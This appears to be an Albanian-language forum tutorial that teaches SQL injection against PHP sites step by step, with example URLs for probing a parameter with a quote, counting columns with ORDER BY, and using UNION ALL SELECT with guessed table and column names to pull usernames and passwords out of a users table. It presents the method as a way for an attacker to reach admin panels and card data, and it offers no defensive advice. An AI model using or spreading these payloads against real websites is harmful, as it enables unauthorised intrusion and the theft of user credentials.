Sė Pari cka ėshtė SQL-injetion?
-SQL-injetion ėshtė pra njė ndėr metodat mė tė perdorura ditėt e sodit pėr tė marr akses nė ndonjė webfaqe. Kjo i jep leje sulmuesit qė tė sulmon pėrmes URL-sė, qė tė merr informata tė ndryshme, si aksese nė MYSQL, faqen e administrimit(CPanel), CC, dhe info tjera tė ndryshme.!
1). Provo se a ėshtė faqja vulnerability !!
Tė themi se kemi dicka tė till:
http://www.site.com/vesti.php?id=1
Tashti qė tė testojm se a ėshtė vulnerability, apo thjesht a ka buggs shkojm dhe ja shtojm ' (pra presjen lart). dhe kjo do tė duket kėshtu:
http://www.site.com/vesti.php?id=1'
Pra pas kėsaj nėse na jepė ndonjė error si psh.
"You have an error in your SQL syntax;" ose "Warning: mysql_result() [function.mysql-result]:"
Atėhere ne menjėher me kėtė nėnkuptojmė se faqja ėshtė vulnerability pėr SQL-injetion, pra ka buggs!
2). Si tė gjejmė se sa numra tė kolumnave ka SQL-ja nė ndonji x faqe! (Numbers of Columns).
Pėr tė gjetur sa sa Columna kemi pėrdorim: ORDER BY
Pra "order by" pa presje do tė na ndihmon tė gjejmė se sa kolumna kemi shkojm me shembull:
http://www.site.com/vesti.php?id=1 order by 1-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 2-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 3-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 4-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 5-- <-- Error Pra kėtu kemi error!
-Me kėtė nėnkuptojm se tek kjo faqe kemi 4 Kolumna pra e merrni numrin e fundit e cila nuk jep error!
3). Provo pėr UNION funksionin!
Pra tashti do tė provojmė qė tė nxjerim numrat e kolumnave dhe info-t tjera nė dritare tė pc-sė, pėrmes "Union all select".
Pra kemi:
http://www.site.com/vesti.php?id=1 union all select 1,2,3,4--
Nėse tek dritarja na shfaqen ndonjeri prej numrave prej 1-4 atėherė mirė ėshtė dhe funksionon krejt nė rregull por nė qoft se jo atėhere provoni tė ja shtoni nji - (minus) perpara tek "1" i parė pra numrat munden tė ndryshojnė mundet tė jetė 50,71,82 etj shembull:
ė http://www.site.com/vesti.php?id=-50 union all select 1,2,3,4--
ose
http://www.site.com/vesti.php?id=-71 union all select 1,2,3,4--
ose
http://www.site.com/vesti.php?id=-82 union all select 1,2,3,4--
Tashti duhet tė na shfaqet ndonjėri prej 4 numrave pra prej 1-4 nėse shfaqet ndonjeri prej kėtyre at here gjithcka ėshtė nė rregull dhe vazhdojmė !!?
4). Si tė gjejm Table_name dhe Column_name
-Pra kjo ėshtė njė pjesė e rėndėsishme e SQl-sė.
Per te gjetur table_name provojmė: user/s, admin/s, member/s, login/s etj..
Kto janė nė shumicen e faqeve table_name!! ka edhe tjera table_name si psh pėr joomla: jos_users, per mambo: mos_users etj.
Te themi qė table_name ėshtė "users" dhe mė pas shkojmė kėshtu:
http://www.site.com/vesti.php?id=-71 union all select 1,2,3,4 from users--
Pėr tė gjetur Column_name provojmė:
username, user_name, login, user_n etj..
Pėr password column_name provojmė:
password, pass, pwd, passwd etj.
Tė themi qė column_name janė username dhe pwd !! shkojmė tė shohim si do tė duket me shembull:
Final:
http://www.site.com/vesti.php?id=-71 union all select 1,username,3,pwd from users--
Ose nėse doni ti bashkoni column_names me njė numėr atėhere veprojmė me "concat(column_name,char(58),column_name)" shembull:
http://www.site.com/vesti.php?id=-71 union all select 1,2,3,concat(username,char(58),pwd) from users--
Pra numrat tė cilėt i shohim nė dritare i zėvendėsojmė me column_name si nė rastin ton username dhe pwd.
Dhe mė nė fund dalin username dhe passwordi shembull:!!!
username: boom3rang
password: SQL-injetion
Mė kėtė mbarron mėsimi i pare pėr SQL-injetion nė gjuhėn shqipe!!
|